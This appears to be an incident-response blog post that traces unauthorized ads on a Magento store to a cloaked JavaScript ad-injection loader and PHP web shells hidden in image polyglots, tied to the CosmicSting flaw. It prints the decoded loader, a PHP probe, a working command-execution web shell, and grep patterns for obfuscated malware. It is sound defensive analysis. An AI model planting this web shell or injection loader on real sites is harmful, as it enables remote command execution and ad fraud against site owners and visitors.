Unauthorized Ads on Your Website: How to Trace Malvertising and Hidden Web Shells (Real Case Breakdown)

An e-commerce store owner shared a video: Google display ads were intermittently popping up on their storefront, despite never having configured any ad networks. Neither backend settings nor custom modules showed anything amiss at first glance. We broke down this incident step by step — from an initial zero-access check to uncovering an active web shell with remote code execution (RCE). Here is a battle-tested incident response playbook for similar compromises.
Step 1. Check Without Server Access
Before digging into SSH, there is a fast, non-intrusive way to inspect the domain: Sucuri SiteCheck (sitecheck.sucuri.net). It scans rendered HTML for known malware, ad injection payloads, and blacklist status across Google Safe Browsing. Requiring zero server credentials, it is the ideal first step before raising alarms with your hosting provider.
Step 2. Grep Across the Database
When dealing with a CMS (Magento, WordPress, or any platform storing configuration in a database), rogue ads can be injected into database-backed settings, CMS blocks, or widgets rather than code files. Query common suspect tables:
-- configuration: suspicious keys and obfuscated content
SELECT path, value FROM core_config_data
WHERE path LIKE '%script%' OR path LIKE '%head%' OR path LIKE '%footer%'
OR value LIKE '%<script%' OR value LIKE '%googlesyndication%'
OR value LIKE '%adsbygoogle%' OR value LIKE '%doubleclick%';
-- CMS blocks and static pages
SELECT block_id, title FROM cms_block WHERE content LIKE '%<script%';
SELECT page_id, title FROM cms_page WHERE content LIKE '%<script%';
On WordPress, the equivalent targets are wp_options (specifically widget_text and widget_custom_html) and the wp_posts table for injected <script> tags.
In our case, the database came back clean: no adsbygoogle, pagead, doubleclick, or rogue push networks. The only active Google integration was a legitimate Google Tag Manager container. Important caveat: if ads are delivered via GTM, rogue tags can be configured directly inside Google Tag Manager (tagmanager.google.com). These tags never touch the server database and must be audited directly inside the GTM workspace.
Step 3. Grep Server Files
With the database cleared, we move to the filesystem:
# signatures of known ad networks and malvertising loaders in source code
grep -rlE "adsbygoogle|googlesyndication|doubleclick|pagead2|propellerads|popads|onesignal" \
--include="*.php" --include="*.phtml" --include="*.js" /path/to/site/
# obfuscated execution wrappers — classic malware patterns
grep -rlE "eval\(base64_decode|eval\(gzinflate|eval\(str_rot13" --include="*.php" /path/to/site/
This flagged a single file: requirejs/mixins.js inside the compiled theme statics. The file masqueraded as a genuine core asset, retaining official copyright headers, but appended a packed (eval(function(p,a,c,k,e,d)...)) JavaScript loader at the bottom.
Decoding the Obfuscated Payload
Once unpacked, the logic proved remarkably simple, explaining why the ads seemed to appear at random:
function isFromGoogle() {
return document.referrer.includes('google.'); // visitor arrived from Google search
}
function canShowAd() {
const last = localStorage.getItem('lastAdShown');
const now = Date.now();
if (!last) return true;
return (now - last) >= 7 * 24 * 60 * 60 * 1000; // at most once per week per browser
}
if (isFromGoogle() && canShowAd()) {
const script = document.createElement('script');
script.async = true;
script.src = "https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-XXXXXXXXXXXXXXXXX";
script.crossOrigin = "anonymous";
document.head.appendChild(script);
localStorage.setItem('lastAdShown', now);
}
The crucial takeaway: the publisher ID belonged to the attacker, not the store owner. This is classic malvertising monetization — hijacking legitimate store traffic with an attacker-controlled AdSense account to collect ad revenue. Cloaking via "Google referrer only" and frequency capping at once per week prevented the store owner and staff from noticing the ads during routine direct visits.
Step 4. Hunting the Entry Point — Web Shells
Because theme and module sources (app/, vendor/) did not contain the rogue signature, the injection was a localized patch on compiled static files rather than a vendor supply-chain backdoor. Next came standard filesystem triage — hunting for recently modified executables and files placed in unexpected directories:
# PHP files in image upload folders — where executables should never exist
find /path/to/site/pub/media -iname "*.php" -o -iname "*.phtml"
# recently modified PHP files
find /path/to/site -name "*.php" -newermt "2026-08-01" -not -path "*/vendor/*"
We discovered approximately 90 files in the directory where Magento stores customer checkout uploads (custom product option attachments) — a location that should strictly hold images.
Step 5. Analyzing the Findings — PNG/JPEG Polyglots
Crucial note: server artifacts were inspected strictly via cat and file; none were ever executed. The payloads revealed an attack technique known as polyglot files: valid PNG/JPEG headers (bypassing MIME and magic byte validation on upload) combined with PHP code hidden inside image text metadata chunks (such as PNG tEXtComment). When a web server or application interpreter passes such a file to PHP, the parser searches for <?php ... ?> tags regardless of surrounding binary data and executes it.
The recovered files fell into distinct categories:
Probes (verifying PHP execution capability):
<?php echo 'PROBE_'.'OK_'.PHP_VERSION; ?>
Tooling Markers (metadata comments without code, indicating automated scanner confirmation):
tEXtComment: Nxploited-Here
Several markers bore timestamps spanning four months, confirming that an automated tool periodically verified access.
Functional Web Shell — full remote command execution:
<?php @error_reporting(0); @set_time_limit(0);
if (isset($_REQUEST['c'])) {
$cmd = $_REQUEST['c'];
if (function_exists('system')) { @system($cmd); }
elseif (function_exists('shell_exec')) { echo @shell_exec($cmd . ' 2>&1'); }
elseif (function_exists('exec')) { @exec($cmd, $out); echo implode("\n", $out); }
elseif (function_exists('passthru')) { @passthru($cmd); }
}
?>
Additionally, one file abused Magento's internal error processing subsystem, forcing arbitrary file inclusion via Magento\Framework\Error\ProcessorFactory. This exact technique — uploading an image with embedded PHP into a predictable media directory and including it through the error processor — mirrors the public exploit chain for CosmicSting (CVE-2024-34102). CosmicSting is an XXE/LFI vulnerability in Magento and Adobe Commerce that has been actively targeted by automated botnets since mid-2024 on unpatched setups.
Why Direct Web Shell Execution Failed
When inspecting web server access logs, almost all direct HTTP requests to these uploaded files returned 403 Forbidden. The directory had an active default Magento .htaccess rule (Require all denied), which successfully blocks direct HTTP access. This provides an essential lesson: a protective .htaccess does not mean the system was not breached. The files were successfully uploaded through an unpatched vulnerability, even though direct URL invocation was blocked. The actual path that granted the attacker code execution (consistent with CosmicSting, likely via REST API calls rather than direct file hits) was lost beyond the available access log retention window.
Incident Response Checklist: What to Do in Order
When to Patch vs. When to Isolate
If the platform is slated for decommissioning in the near term (for example, an active migration to a new stack where the legacy server will soon be decommissioned), full patching of an outdated CMS may require disproportionate effort. However, certain assets outlive the server and demand immediate attention:
- Payment gateway API keys: Active merchant keys remain valid after server destruction unless explicitly rotated and revoked in the provider dashboard.
- Passwords reused across infrastructure: Any credential shared between legacy and modern environments must be replaced immediately.
- Customer database exposure: If evidence indicates database exfiltration via RCE, incident response shifts from technical remediation to regulatory disclosure and customer notification obligations.
A cost-effective way to mitigate risk during the remaining operational window without extensive codebase patching is to restrict administrative routes to specific office or VPN IPs via .htaccess until final decommissioning.
Summary
Unauthorized advertisements on a website are rarely an isolated issue. They are almost always a symptom of broader compromise — whether an active web shell with RCE or stolen administrative credentials. Conducting a structured investigation from the database layer through the filesystem ensures you catch the full scope of the breach. A rogue script in a theme file is often just the tip of the iceberg; the root vulnerability and persistent shells may have lurked quietly in upload folders for months before monetized ads were ever triggered.
Frequently asked questions
Why do unauthorized ads only show up for some website visitors?
Injections are frequently cloaked by strict client-side conditions (e.g., triggering only on Google search referrers and capped at once per week per browser via localStorage). This delays detection by site owners and staff during routine visits.
Where should you start investigating unauthorized ads?
Start with an external scanner like Sucuri SiteCheck without touching the server. Next, grep the database (CMS blocks, core configurations, widgets) and theme/plugin assets for signatures such as adsbygoogle, googlesyndication, doubleclick, or eval(base64_decode.
What is a PNG/JPEG polyglot in the context of web shells?
A file that starts with a valid image header (bypassing upload file-type checks) but contains embedded PHP payloads within text chunks (such as a PNG tEXtComment). If the web server interprets this file as PHP, the interpreter executes the code regardless of surrounding binary data.
Should you patch a vulnerability if the server is scheduled for decommissioning?
A full CMS patch might not be worth the engineering overhead. However, credentials that outlive the server (payment gateway API keys, shared database or admin passwords) must be rotated immediately — they remain valid and dangerous long after the old server is shut down.
Author
Alex RelFullstack Engineer
In commercial development since 2011 — over 15 years. Author of two SaaS products, TeleGo.io and LingvoHabit.com. The articles here come out of real client and product work.



